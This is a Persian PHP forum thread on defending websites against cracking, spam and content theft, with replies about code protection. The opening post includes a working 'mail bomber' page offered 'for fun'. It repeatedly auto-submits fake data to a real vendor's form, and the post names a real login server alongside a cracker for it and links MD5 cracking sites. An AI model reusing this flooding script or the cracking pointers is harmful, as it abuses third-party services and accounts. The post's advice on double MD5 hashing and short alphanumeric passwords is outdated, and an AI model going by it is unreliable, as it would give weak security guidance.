مبارزه با Crack , Spam و سرقت محتوا

k2-4u

Well-Known Member
سلام دوستان .
اول از همه . این مقاله رو ببینید : اخطار! : Capcha (کدامنیتی) قابل عبور است!!

می خوام در این تاپیک در مورد اینکه چطور از ریشه با سرقت محتوا , spam , Crack مبارزه کنیم بنویسم
(ممکنه بعضی از مطالب تکراری باشه )

برای مبارزه با سرقت محتوا به دلایلی یک تاپیک جدا میزنم
و در همین تاپیک اعلام می کنم

خب . اول بحث رو با Crack شروع می کنم .
_________________________________________________________________

. امنیت رشته های hash
خب . همیشه برای . امنیت پسورد و یا ... از الگوریتم های هش(hash) استفاده میشه که یک کار معمولیه .
(بهتریناش هم shah1 و md5 هست ) .
ولی باز هم میشه پیداشون کرد !! . (به وسیله کتابخانه md5) وارد جزئیات نمیشم که چطوری این کارو می کنند
ولی یک راه ساده . برای مقابله با خیال راحت وجود داره . اونم اینه که 2 بار md5 کنید
PHP:
echo  md5(md5("ab"));
دیگه . دردسر زیادی هم نمی خواد ! :wink:
این مقاله رو هم ببینید : String hashing within salt
و برای پیدا کردن MD5 :
Online MD5 Crackers
Quick md5 decoder 1.4
_________________________________________________________________

. صفحه های ورود (ورود به مدیریت و ... ) Authentication
در این رابطه . اول از همه چند تا نکته باید رعایت بشه
---------------------------------
1. اگر نام کاربری یا پسورد . اشتباه بود نباید به کاربر نشون بدین که کدومش اشتباه است
(برای محیط های که نام های کاربری در جای لیست نشده اند )

مثلا شما یک صفحه ورود به مدیریت دارین . وقتی نام مدیر رو بدون پسورد وارد کنید
صفحه پیام میده که . مدیری با این نام موجود نیست !!!

مثلا مثل سیستم معروف IBSng :دی
http://217.219.215.7/IBSng/user
اینم کرکرش 1.2 TakFanar Isp Cracker

راه حلش اینه که . بگین نام کاربری یا رمزعبور اشتباه است .
یعنی مشخص نباشه کدوم اشتباه است
---------------------------------
2. برای محیط های مدیریت Username ی تعیین کنید که در هیچ جای سیستم نمایش داده نشود
یعنی ارزش Username برابر password باشد . سپس به صورت زیر طراحی شود

A - اگر username اشتباه بود . دوباره پرسیده شود . تا n ....
B - اگر username درست بود و پسورد اشتباه . بعد از 5 بار اشتباه سیستم ورود برای 1 ساعت (برای آن Username قفل شود )
---------------------------------
3. برای محیط های کاربری که username کاربر رو میشه پیدا کرد
بهترین را اینه که .

A - اگر نام کاربری موجود نبود . پیام بده که چنین کاربری نیست
B - اگر نام کابری درست باشد و پسورد درست نباشد بعد از 5 بار اشتباه نیاز به وارد کردن
کد امنیتی باشد (البته کد امنیتی قوی !!! )
---------------------------------
4. برای محیط های مدیریت پیشنهاد می کنم از پنجره Authentication
بدون Cookie و Session :green: . و فقط با چند تا IF . صفحه ورود درست کنید
که البته باید بند 2 رو رعایت کنید .
---------------------------------
5. پسورد باید از 4 کارکتر بیشتر باشد و حدعقل شامل حروف و اعداد باشد .
یک Regex بگذارین که غیر از این قانون امکان پذیر نباشه
PHP:
preg_match('/^([a-z0-9]{4,32})$/i',$password)
---------------------------------
6. حملات Session hijack , Sql Injection و .. دیگر حملات
این تاپیک امنیت در php
رو حتما مطاله کنید
---------------------------------
با رعایت نکات بالا بدون دردسر های ضافی می توانید
امنیت خودتون رو برای authentication تضمین کنید :wink:

_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-

مبحث بعدی ما مبارزه با spam است
تا اونجا که من اطلاع دارم spam دسته بندی خاصی نداره ولی من در زیر .
spam رو به چند قسمت . تقسیم کردم

7. ارسال تبلیغ در محل های ارسال نظر/انتقادات پیشنهادات/ و ...
برای مبارزه با این مشکل شما باید . از کد امنیتی استفاده کنید
و هیچ راه دیگه ای وجود نداره که قابل شکست نباشه
به این نکته حتما دقت کنید !
مثلا کد زیر رو ببینید (یک Mail Boomber است :green: کتکم نزنین!! )
HTML:
<html>
<head>
<script>
function OnBodyLoad(){
 setInterval("document.getElementById('download').submit();",2000);
}
</script>
</head>
<body>
<form  target="frame1" id="download" action="http://www.ioncube.com/encoder_eval_download.php" method="POST">
<input type="hidden" name="form_name" value="download">
<input type="hidden" name="q" value="submit">
<input type="hidden" name="cname" value="hellow"></td>
<input type="hidden" name="sname" value="gogooli"></td>
<input type="hidden" name="company"  value="Israel Word Fucker">
<input type="hidden" name="country" value="Israel">
<input type="hidden" value="+00763456765"  name="phone">
<input type="hidden" value="+00763456765" name="phoneext">
<input type="text" value="[email protected]" name="email">
<input type="hidden" name="p" value="win32">
<input type="submit" name="download" onclick="OnBodyLoad()" value="Start Mail boomber For Fun!">
<input type="hidden" name="code" value="encoder">
</form>
<iframe name="frame1" width="400" height="400"></iframe><br>
http://rapidshare.com/files/279118066/mailboomber.zip.html<br>
Code By  Mr <a href="http://k2-4u.com">k2-4u</a> (korosh) Just For Fun!!  
</body>
</html>

8. نوشته های طولانی و مخرب
خب شاید . برای شما پیش اومده باشه که شخصی در . محل ارسال نظر از مطالبی مانند
HTML:
khobiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii
استفاده کنه (که دوستمون D.A.V.O.O.D براش پیش اومده بود)
در چنین مواقعی ممکنه شکل صفحه خراب بشه (مخصوصا در صفحات tableless)
یا ..... شما می توانید از کد زیر استفاده کنید
PHP:
function Check($n){ 
    $l=strlen($n); 
    for($i=0;$i<=$l;$i++){ 
        if($n[$i-1]==$n[$i]&&$n[$i]==$n[$i+1]) {   
                return false;  
        }; 
    }; return true; 
};
------------------------ خارج از php -------------------------------
البته راه مبارزه با این مشکل در CSS3 وجود داره که اونم
HTML:
selector{
	word-wrap:break-word;
}
http://www.css3.info/preview/word-wrap/
ولی هنوز . بصورت کامل پشتیبانی نمیشه
-----------------------------------------------------------------------
بعضی وقت ها هم نوشت . انگلیسی درست نیست
که . می توانید از این کد استفاده کنید
PHP:
preg_match('/^[اآبپتثئجچحخدذرزژسشصضطظعغفقکگلمنوهی\s]+$/', $txt)

9. مطلب تکراری
برای این مشکل 2 کار باید انجام شود

الف _ غیر فعال کردن کلید ارسال : که کار معمولی است
و با کد زیر انجام میشه
HTML:
<form onsubmit="document.getElementById('sbtname').disabled=true">
... Form item
<input type="submit" id="sbtname" />
</form>

ب _ به صورت زیر محدوده زمانی تعیین کنید
1. بعد از ارسال مطلب به وسیله کاربر . IP و ثانیه ارسال مطلب رو در یک جدول در database نگهر دارید
(منظور از ثانیه مقدار تابع time() به صورت کامل است )
2. یک تابع درست کنید که time های داخل جدول بالا رو چک کند و اگر از 30 ثانیه گذشته باشد
آن سطر را پاک کنه
3 . در هنگام ارسال مطلب چک کنید که ip کاربر در database نباشد . اگر بود . از ارسال مطلب جلو گیری کنید
و به کاربر اخطار دهید که لطفا 30 ثانیه دیگر ارسال کند

نمونه زنده سایت blogfa بود
که . مانند mail boomber بالا براش اسکریپ مخرب نوشته بودند (که درستش کرد )
:evil:

خب این هم از Crack و Spam

باز هم میگم برای مبارزه با سرقت محتوا به دلایلی یک تاپیک جدا میزنم
و در همین تاپیک اعلام می کنم
 
آخرین ویرایش:

foranyone

Well-Known Member
دستت درد نکنه کوروش ولی الان دغدغه ی اصلی من محافظت از خود کده که دزدی نشه ! نمی دونم چیکار کنم

امروز یک نرم افزار پیدا کردم با حجم زیر یه مگ !

به راحتی زند رو دیکد کرد !!

از این به بعد اصلا از زند استفاده نمی کنم موندم چیکار کنم !:cry:
 

Allahparast

Member
یکی بیاد یه ستاد برای اینجور مشکلات بزنیم :green:
شیطونه میگه برم Zend رو بخرم پیر هر چی دزده در بیارم :mad:
 

foranyone

Well-Known Member
الله یار لطف میکنی کرک زند 5 رو پیغام خصوصی بدی من چک کنم ببینم اونم دیکد میشه یا نه !؟
 

amirepsilon

Active Member
سلام
چرا شما اینقدر اعصاب خودتونو خورد میکنید ؟

چرا خیلی از ما ایرانی ها تا به یه جایی میرسیم و یه چیزی یاد میگیریم زود مغرور میشیم ؟

ای بابا ! ما که هنوز چیزی بلد نیستیم که بترسیم از اینکه ازمون بدزدن !

برنامه نویسان خارجی مثل هندی ها حرفه ای کد میزنن و free میزارن تو اینترنت برای بقیه
اصلا راهنمایی هم میکنن که چطور استفاده کنیم

حالا ما میریم همون کد ها رو برمیداریم میزاریم تو برنامه خودمون
بعد میترسیم کسی بیاد اینها رو ببره!!!!!!!!!!!!

در ضمن
قبول دارم برخی از سرویس های هاستینگ اطلاعات رو سرقت میکنن
 

foranyone

Well-Known Member
سلام
چرا شما اینقدر اعصاب خودتونو خورد میکنید ؟

چرا خیلی از ما ایرانی ها تا به یه جایی میرسیم و یه چیزی یاد میگیریم زود مغرور میشیم ؟

ای بابا ! ما که هنوز چیزی بلد نیستیم که بترسیم از اینکه ازمون بدزدن !

برنامه نویسان خارجی مثل هندی ها حرفه ای کد میزنن و free میزارن تو اینترنت برای بقیه
اصلا راهنمایی هم میکنن که چطور استفاده کنیم

حالا ما میریم همون کد ها رو برمیداریم میزاریم تو برنامه خودمون
بعد میترسیم کسی بیاد اینها رو ببره!!!!!!!!!!!!

در ضمن
قبول دارم برخی از سرویس های هاستینگ اطلاعات رو سرقت میکنن

همه ی پروژه های بچه های اینجا پروژه های الکی نیست !

حتی میشناسم کسی رو که تو سیستم های بانکی هم همکاری داشته !

پس مطمئنا اونا چیزی بلد هستن .

در ضمن هدف از اینجور بحث ها اینکه راه حل رو بدونیم نه اینکه لزوما خیای ادعامون بشه و بگیم

کدهامون جواهرن !!

:wink:
 

parsiteam

Member
به نظر من بهترین راه اینه که برنامه ای که نوشتی رو ثبت قانونی کنی . الان یکی دو ساله که سازمان های پیگیری تخلفات اینترنتی شدیدا پیگیری میکنن مسائل رو . من خودم یک برنامه رو ثبت کردم . یک سایت بدون اجازه نصبش کرد . بدون اخطار بهش فیلتر شد . این مرحله ی اوله . بعد حتی میشه آی پی سرور رو هم فیلتر کرد . اونجاست که هاستینگ جوابش میکنه .
 

ziXet

مدیر انجمن PHP/MYSQL
به نظر من بهترین راه اینه که برنامه ای که نوشتی رو ثبت قانونی کنی . الان یکی دو ساله که سازمان های پیگیری تخلفات اینترنتی شدیدا پیگیری میکنن مسائل رو . من خودم یک برنامه رو ثبت کردم . یک سایت بدون اجازه نصبش کرد . بدون اخطار بهش فیلتر شد . این مرحله ی اوله . بعد حتی میشه آی پی سرور رو هم فیلتر کرد . اونجاست که هاستینگ جوابش میکنه .
میشه یه توضیحی در مورد نحوه ثبت برنامه بدی؟
 

parsiteam

Member
میشه یه توضیحی در مورد نحوه ثبت برنامه بدی؟

ببین امیر جان الان من خودم Parsi PHP CMS رو جدیدا به عنوان یک محصول ثبت کردمش . من مشهدم یکی از دوستام رئیس صنف کامپیوتری مشهده . با اون با هم رفتیم ثبت کردمیش . تهران و بقیه جاها رو نمیدونم چطوریه . از دفاتر ثبت اسناد رسمی بپرس حتما راهنماییت میکنن .
 

k2-4u

Well-Known Member
سلام من برگشتم !. ادامه مقاله رو هم به زودی . می نویسم و ویرایش می کنم
:wink:

دستت درد نکنه کوروش ولی الان دغدغه ی اصلی من محافظت از خود کده که دزدی نشه ! نمی دونم چیکار کنم
والا این بحث با بحث محافظت از کد ها . جداست . ولی
همون طور که گفتم یک روش پر دردسر واسه محافظت سراغ دارم که . مقالشو به زودی می نویسم

یکی بیاد یه ستاد برای اینجور مشکلات بزنیم
خیلی تو فکرشم . ولی سواد زیاد می خواد !
مثلا شاید بشه با C یک Encoder خودمون درست کنیم
که بر مبنای یک رشته اختصاصی Encode می کنه
اینطوری. دیگه نمیشه Decoder واحد براش درست کرد !
ولی . من دیدم به دنیای C باز نیست نمی دونم !

ای بابا ! ما که هنوز چیزی بلد نیستیم که بترسیم از اینکه ازمون بدزدن !
آدم باید همیشه بدونه که هیچی بلد نیست !
و هرچی هم یاد بگیره بیشتر میفهمه که بلد نیست و این خوبه!!
ولی نباید خودشو آدم کمتر از چیزی که هست ببینه!!
کی میگه چیزی بلد نیستیم! . اتفاقا خوبم بلدیم .
ولی تعداد کسانی که اطلاعات زیاد دارند کمه
دلیلشم ایناست
1. برای همه مردم امکانات نیست . (باید برن کتاب های قدیمی رو بخونن )
2. بدون زبان انگیلیسی پیشرفت سخته ! .
و ... (اینا مهم ها بودن )

برنامه نویسان خارجی مثل هندی ها حرفه ای کد میزنن و free میزارن تو اینترنت برای بقیه
اصلا راهنمایی هم میکنن که چطور استفاده کنیم
بله . در حال حاضر من و شما هم اینجا داریم جواب سوالات دوستان رو میدیم
ولی . اونها قوانین و وجدان دارند !! . اینجا قوانین اینترنتی قوی نیست .
وجدان دار ها هم کم شدن :دی


بهترین راه اینه که برنامه ای که نوشتی رو ثبت قانونی کنی
بهترین راه برای پیشرفت ما ظاهران همینه
 

k2-4u

Well-Known Member
پست ویرایش شد دوستان

:tavajoh:
خب دوستان پست رو ویرایش و کامل کردم :wink:

برای سرقت محتوا هم یک تاپیک دیگه میزنم
 

my friend

Member
k2-4u گفت:
امنیت رشته های hash
خب . همیشه برای . امنیت پسورد و یا ... از الگوریتم های هش(hash) استفاده میشه که یک کار معمولیه .
(بهتریناش هم shah1 و md5 هست ) .
ولی باز هم میشه پیداشون کرد !! . (به وسیله کتابخانه md5) وارد جزئیات نمیشم که چطوری این کارو می کنند
ولی یک راه ساده . برای مقابله با خیال راحت وجود داره . اونم اینه که 2 بار md5 کنید
sha1 & md5 بهترین ها نیستند... ضمن اینکه دیکشنری هاشون هم به بازار اومده و ...
خانواده ی sha2، یعنی sha256,512 و ... الان بهترین ها هستند که توسط تابع ()hash در PHP قابل استفاده هستند.

یه بار یه جا خوندم دوبار هش کردن یک استرینگ، امنیت رو پایین میاره... کلی هم توضیح داده بود که چرا اینطوری هست که حوصله خوندنش رو نداشتم... حالا یا x انداخته بوده بالا، یا درست گفته بوده... نمیدونم!!
 

k2-4u

Well-Known Member
sha1 & md5 بهترین ها نیستند... ضمن اینکه دیکشنری هاشون هم به بازار اومده و ...
خانواده ی sha2، یعنی sha256,512 و ... الان بهترین ها هستند که توسط تابع ()hash در PHP قابل استفاده هستند.
باید بجای بهترین می گفتم رایج ترین
مقاله slat رو دیدین ؟

یه بار یه جا خوندم دوبار هش کردن یک استرینگ، امنیت رو پایین میاره... کلی هم توضیح داده بود که چرا اینطوری هست که حوصله خوندنش رو نداشتم... حالا یا x انداخته بوده بالا، یا درست گفته بوده... نمیدونم!!
جالبه اگر منبع داری
بگذاری ممنون میشم
---
(چون با عقلم جور در نمیاد)
 

pasargadteam

Active Member
بادرود بر همگی

من اول از همه بگم از پی اچ پی چیزی زیاد نمیدونم اما برنامه های دیکد چندتا دارم. چیزی که مطرح میکنم نمیدونم تا چه حد عملی است.

من یک سیستم دادم برام نوشتند سیستم مدیریت محتوا. میگه امنیتش بالاست خدا میداند تا چه حد اما چیزی که منظورمه اینه که یک فایل اندیکس داره که به کانفیگ در همون شاخه وصل و بقیه فایل ها رو از دو پوشه که داره میخونه. پوشه ادمین و تمپلیت.

حالا میشه من کاری که میکنم اینه که برای هر مشتری هاست و دومین میدم و سیستم رو خواست روی هاست خودم جدا نصب کنم و از توی سایتش یک فایل پی اچ پی کد شده بدم که ندونه چطوری ولی برگرده هی به سایت من و دوباره برگرده به سایت خودش؟

میدونم که کار احمقانه ای شاید باشه , سرعت لود بیاد پایین , امکان دان شدن سرور باشه , اما خوبی که داره اینه که هر دو با هم دان و آف میشند از سرور.

میدونم که ممکنه حرفم ناشی گانه باشه. گفتم از پی اچ پی سر در نمیارم
 

k2-4u

Well-Known Member
بادرود بر همگی

من اول از همه بگم از پی اچ پی چیزی زیاد نمیدونم اما برنامه های دیکد چندتا دارم. چیزی که مطرح میکنم نمیدونم تا چه حد عملی است.

من یک سیستم دادم برام نوشتند سیستم مدیریت محتوا. میگه امنیتش بالاست خدا میداند تا چه حد اما چیزی که منظورمه اینه که یک فایل اندیکس داره که به کانفیگ در همون شاخه وصل و بقیه فایل ها رو از دو پوشه که داره میخونه. پوشه ادمین و تمپلیت.

حالا میشه من کاری که میکنم اینه که برای هر مشتری هاست و دومین میدم و سیستم رو خواست روی هاست خودم جدا نصب کنم و از توی سایتش یک فایل پی اچ پی کد شده بدم که ندونه چطوری ولی برگرده هی به سایت من و دوباره برگرده به سایت خودش؟

میدونم که کار احمقانه ای شاید باشه , سرعت لود بیاد پایین , امکان دان شدن سرور باشه , اما خوبی که داره اینه که هر دو با هم دان و آف میشند از سرور.

میدونم که ممکنه حرفم ناشی گانه باشه. گفتم از پی اچ پی سر در نمیارم

لطفا برای سوالتون تاپیک جدید باز کنید
 

جدیدترین ارسال ها

بالا